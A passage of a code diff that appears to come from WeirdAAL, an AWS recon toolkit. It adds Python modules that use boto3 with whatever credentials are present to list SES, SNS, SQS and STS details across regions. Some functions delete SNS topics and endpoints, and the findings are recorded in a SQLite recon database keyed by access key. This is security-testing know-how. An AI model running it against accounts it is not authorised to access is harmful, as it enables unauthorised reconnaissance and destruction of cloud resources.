sys.exit("The AWS KEY IS INVALID. Exiting")
elif e.response['Error']['Code'] == 'NotSignedUp':
print('{} : doesnt have s3 access' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def s3_upload_file(bucket, source_file, dest_file):
'''
upload a file to a S3 bucket
'''
try:
client = boto3.resource('s3', region_name=region)
client.meta.client.upload_file(source_file, bucket, dest_file)
print("{} uploaded to: {}/{}".format(source_file, bucket, dest_file))
except FileNotFoundError as e:
print("[-] {} not found [-]".format(source_file))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == "404":
print("{} object does not exist.".format(source_file))
elif e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("The AWS KEY IS INVALID. Exiting")
elif e.response['Error']['Code'] == 'NotSignedUp':
print('{} : doesnt have s3 access' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def s3_get_file_acl(bucket, file):
'''
get file in a s3 bucket ACL
'''
try:
client = boto3.client('s3', region_name=region)
object_acl = client.get_object_acl(Bucket=bucket, Key=file)
if object_acl:
print("{} ACL:\n".format(file))
print("{}".format(object_acl['Grants']))
except FileNotFoundError as e:
print("[-] {} not found [-]".format(file))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == "404":
print("{} object does not exist.".format(file))
elif e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("The AWS KEY IS INVALID. Exiting")
elif e.response['Error']['Code'] == 'NotSignedUp':
print('{} : doesnt have s3 access' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

131
libs/aws/ses.py Normal file
View File

@@ -0,0 +1,131 @@
'''
SES functions for WeirdAAL
'''
import boto3
import botocore
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-west-2', 'eu-west-1']
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def list_identities():
'''
SES List identities
'''
print("### Printing SES Identities ###")
try:
for region in regions:
client = boto3.client(
'ses',
region_name=region
)
response = client.list_identities()
# print(response)
if response.get('Identities') is None:
print("{} likely does not have SES permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['Identities']) <= 0:
print("[-] ListIdentities allowed for {} but no results [-]" .format(region))
else:
print("### {} SES Identities ###" .format(region))
for r in response['Identities']:
pp.pprint(r)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def get_send_statistics():
'''
SES get send statistics
'''
print("### Printing SES Send Statistics ###")
try:
for region in regions:
client = boto3.client(
'ses',
region_name=region
)
response = client.get_send_statistics()
# print(response)
if response.get('SendDataPoints') is None:
print("{} likely does not have SES permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['SendDataPoints']) <= 0:
print("[-] GetSendStatistics allowed for {} but no results [-]" .format(region))
else:
print("### {} SES Send Statistics ###" .format(region))
for r in response['SendDataPoints']:
pp.pprint(r)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def list_configuration_sets():
'''
SES List configuration sets
'''
print("### Printing SES Configuration Sets ###")
try:
for region in regions:
client = boto3.client(
'ses',
region_name=region
)
response = client.list_configuration_sets()
# print(response)
if response.get('ConfigurationSets') is None:
print("{} likely does not have SES permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['ConfigurationSets']) <= 0:
print("[-] ListConfigurationSets allowed for {} but no results [-]" .format(region))
else:
print("### {} SES Configuration Sets ###" .format(region))
for r in response['ConfigurationSets']:
pp.pprint(r)
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

117
libs/aws/sns.py Normal file
View File

@@ -0,0 +1,117 @@
'''
utilities for working with SNS
'''
import boto3
import botocore
import sys
regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'ca-central-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'ap-northeast-1', 'ap-northeast-2', 'ap-southeast-1', 'ap-southeast-2']
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
topics_list = {}
def list_sns_topics(should_i_print=True):
title = "SNS Topics"
if should_i_print:
print(title)
print("-" * len(title))
try:
for region in regions:
client = boto3.client('sns', region_name=region)
topics = client.list_topics()
if should_i_print:
print(region)
print("=" * len(region))
if topics['Topics']:
topics_list[region] = topics['Topics']
if should_i_print:
for topic in topics['Topics']:
print(topic)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("The AWS KEY IS INVALID. Exiting")
if e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def list_sns_subscribers(topic,region):
try:
client = boto3.client('sns', region_name=region)
result = client.list_subscriptions_by_topic(TopicArn=topic)
subscriptions = result['Subscriptions']
for sub in subscriptions:
print("Subscription Arn: {}".format(sub['SubscriptionArn']))
print("Protocol: {}".format(sub['Protocol']))
print("Endpoint: {}".format(sub['Endpoint']))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("The AWS KEY IS INVALID. Exiting")
if e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'InvalidParameter':
print('The region you provided ({}) is invalid for the Topic ARN. Are you sure this topic exists in this region?'.format(region))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def delete_sns_topic(topic, region):
try:
client = boto3.client('sns', region_name=region)
action = client.delete_topic(TopicArn=topic)
print("Deleted Topic: {}".format(topic))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("The AWS KEY IS INVALID. Exiting")
if e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'InvalidParameter':
print('The region you provided ({}) is invalid for the Topic ARN. Are you sure this topic exists in this region?'.format(region))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
def list_all_sns_subscribers():
print("Scanning regions....")
list_sns_topics(False)
for region,topics in topics_list.items():
for topic in topics:
region_title = "Region: {}".format(region)
print(region_title)
print("=" * len(region_title))
list_sns_subscribers(topic['TopicArn'],region)
def delete_sns_subscriber(endpoint, region):
try:
client = boto3.client('sns', region_name=region)
action = client.delete_endpoint(EndpointArn=endpoint)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("The AWS KEY IS INVALID. Exiting")
if e.response['Error']['Code'] == 'AccessDenied':
print('{} : Is NOT a root key' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'InvalidParameter':
print('The region you provided ({}) is invalid for the Subscriber endpoint. Are you sure this subscriber exists in this region?'.format(region))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

128
libs/aws/sql.py Normal file
View File

@@ -0,0 +1,128 @@
'''
Custom SQL/database functions for WeirdAAL
'''
import sqlite3
from sqlite3 import Error
def create_table(db_name, table_name, sql):
'''
SQLite3 create table function
'''
with sqlite3.connect(db_name) as db:
cursor = db.cursor()
cursor.execute("""SELECT name FROM sqlite_master WHERE name=?""", (table_name,))
result = cursor.fetchall()
keep_table = True
if len(result) == 1:
response = input("The table {} already exists, do you wish to recreate it? (y/n): ".format(table_name))
if response == "y":
keep_table = False
print("The {} table will be recreated - all existing data will be lost".format(table_name))
cursor.execute("drop table if exists {}".format(table_name))
db.commit()
else:
print("The existing table was kept")
else:
keep_table = False
if not keep_table:
cursor.execute(sql)
db.commit()
def create_recon_table(db_name, table_name):
'''
Create recon table service:subservice:AWSKeyID,time
'''
sql = """CREATE TABLE recon
(ID integer,
service text,
sub_service text,
AWSKeyID text,
target text,
checked_at timestamp,
PRIMARY KEY (ID))"""
# FOREIGN KEY (AWSKeyID) references AWSKey(ID))"""
create_table(db_name, table_name, sql)
print("created table: {}".format(table_name))
def create_awskey_table(db_name, table_name):
'''
Create awskey table (currently unused)
'''
sql = """CREATE TABLE AWSKey
(ID integer,
AWSKeyID text,
description text,
target text,
PRIMARY KEY(ID))"""
create_table(db_name, table_name, sql)
print("created table: {}".format(table_name))
def create_services_table(db_name, table_name):
'''
Create services table - service:sub_service:sub_service_data
'''
sql = """CREATE TABLE services
(ID integer,
AWSKeyID Text,
service text,
sub_service text,
sub_service_data text,
checked_at timestamp,
target text,
PRIMARY KEY(ID))"""
create_table(db_name, table_name, sql)
print("created table: {}".format(table_name))
def insert_awskey_data(db_name, records):
'''
Insert AWS Key and a description to the AWSKey table (unused)
'''
sql = """INSERT INTO AWSKey(AWSKeyID, description, target) VALUES (?,?,?)"""
for record in records:
query(db_name, sql, record)
def insert_reconservice_data(db_name, records):
'''
Insert data into the recon table
'''
sql = """INSERT INTO recon(service, sub_service, AWSKeyID, target, checked_at) VALUES (?,?,?,?,?)"""
for record in records:
query(db_name, sql, record)
def insert_sub_service_data(db_name, records):
'''
Insert service, sub_service & sub_service data into the DB
'''
sql = """INSERT INTO services(service, sub_service, sub_service_data, AWSKeyID, target, checked_at) VALUES (?,?,?,?,?,?)"""
for record in records:
query(db_name, sql, record)
def search_recon_by_key(db_name, AWSKeyID):
'''
Function to query services by AWSKey and order them by time
'''
with sqlite3.connect(db_name) as db:
cursor = db.cursor()
cursor.execute("""SELECT DISTINCT service, sub_service, checked_at FROM recon WHERE AWSKeyID=? ORDER BY datetime(checked_at)""", (AWSKeyID,))
results = cursor.fetchall()
return results
def query(db_name, sql, data):
'''
Generic query function
'''
with sqlite3.connect(db_name) as db:
cursor = db.cursor()
# cursor.execute("""PRAGMA foreign_keys = ON""")
cursor.execute(sql, data)
db.commit()

51
libs/aws/sqs.py Normal file
View File

@@ -0,0 +1,51 @@
'''
SQS functions for WeirdAAL
'''
import boto3
import botocore
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from https://docs.aws.amazon.com/general/latest/gr/rande.html#sqs_region
regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'ap-northeast-1', 'ap-northeast-2', 'ap-northeast-3', 'ap-south-1', 'ap-southeast-1', 'ap-southeast-2', 'ca-central-1', 'cn-north-1', 'cn-northwest-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'eu-west-3', 'sa-east-1', 'us-gov-west-1']
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def sqs_list_queues():
'''
SQS List Queues
'''
try:
for region in regions:
client = boto3.client("sqs", region_name=region)
response = client.list_queues()
if response.get('QueueUrls') is None:
print("[-] ListQueues allowed for {} but no results [-]" .format(region))
# THis isnt working need to test with one that works to get the QueueUrl attributes
elif len(response['QueueUrls']) <= 0:
print("[-] ListQueues allowed for {} but no results [-]" .format(region))
else:
print("[+] Listing queuesfor region: {} [+]" .format(region))
for r in response['QueueUrls']:
pp.pprint(r)
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'AccessDenied':
print('{} : Does not have the required permissions' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")

70
libs/aws/sts.py Normal file
View File

@@ -0,0 +1,70 @@
'''
STS libs for WeirdAAL
'''
import boto3
import botocore
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
# regions = ['us-east-1', 'us-east-2', 'us-west-1', 'us-west-2', 'ca-central-1', 'eu-central-1', 'eu-west-1', 'eu-west-2', 'ap-northeast-1', 'ap-northeast-2', 'ap-southeast-1', 'ap-southeast-2', ]
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def sts_get_accountid():
'''
Use STS functions to get account data
ex: Account Id: 14681234567
'''
try:
client = boto3.client("sts")
account_id = client.get_caller_identity()["Account"]
print("Account Id: {}" .format(account_id))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'EndpointConnectionError':
print("[-] Cant connect to the region endpoint [-]")
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
return account_id
def sts_get_accountid_all():
'''
Use STS functions to get account data (detailed)
Prints AccountID, UserID, ARN
'''
try:
client = boto3.client("sts")
account_id = client.get_caller_identity()["Account"]
account_userid = client.get_caller_identity()["UserId"]
account_arn = client.get_caller_identity()["Arn"]
print("Account Id: {}" .format(account_id))
print("Account UserID: {}" .format(account_userid))
print("Account ARN: {}" .format(account_arn))
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'InvalidClientTokenId':
sys.exit("{} : The AWS KEY IS INVALID. Exiting" .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'EndpointConnectionError':
print("[-] Cant connect to the region endpoint [-]")
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print("Unexpected error: {}" .format(e))
except KeyboardInterrupt:
print("CTRL-C received, exiting...")
return account_id

51
libs/aws/translate.py Normal file
View File

@@ -0,0 +1,51 @@
'''
Translate functions for WeirdAAL
'''
import boto3
import botocore
import pprint
import sys
pp = pprint.PrettyPrinter(indent=5, width=80)
# from http://docs.aws.amazon.com/general/latest/gr/rande.html
regions = ['us-east-1', 'us-east-2', 'us-west-2', 'eu-west-1']
'''
Code to get the AWS_ACCESS_KEY_ID from boto3
'''
session = boto3.Session()
credentials = session.get_credentials()
AWS_ACCESS_KEY_ID = credentials.access_key
def translate_text(text, source_lang, target_lang):
'''
Translate a block of text from source to target language
Available languages: English (en), Arabic (ar), Chinese (Simplified) (zh), French (fr), German (de), Portuguese (pt), Spanish (es)
http://boto3.readthedocs.io/en/latest/reference/services/translate.html
'''
try:
for region in regions:
client = boto3.client('translate', region_name=region)
response = client.translate_text(Text=text, SourceLanguageCode=source_lang, TargetLanguageCode=target_lang)
# print(response)
if response.get('TranslatedText') is None:
print("{} likely does not have Translate permissions\n" .format(AWS_ACCESS_KEY_ID))
elif len(response['TranslatedText']) <= 0:
print("[-] TranslateText allowed for {} but no results [-]" .format(region))
else:
print("### {}: Translated Text ###\n" .format(region))
print("Translated Text: {}".format(response['TranslatedText']))
print("\n")
except botocore.exceptions.ClientError as e:
if e.response['Error']['Code'] == 'UnauthorizedOperation':
print('{} : (UnauthorizedOperation) when calling the Pricing DescribeServices' .format(AWS_ACCESS_KEY_ID))
elif e.response['Error']['Code'] == 'SubscriptionRequiredException':
print('{} : Has permissions but isnt signed up for service - usually means you have a root account' .format(AWS_ACCESS_KEY_ID))
else:
print(e)
except KeyboardInterrupt:
print("CTRL-C received, exiting...")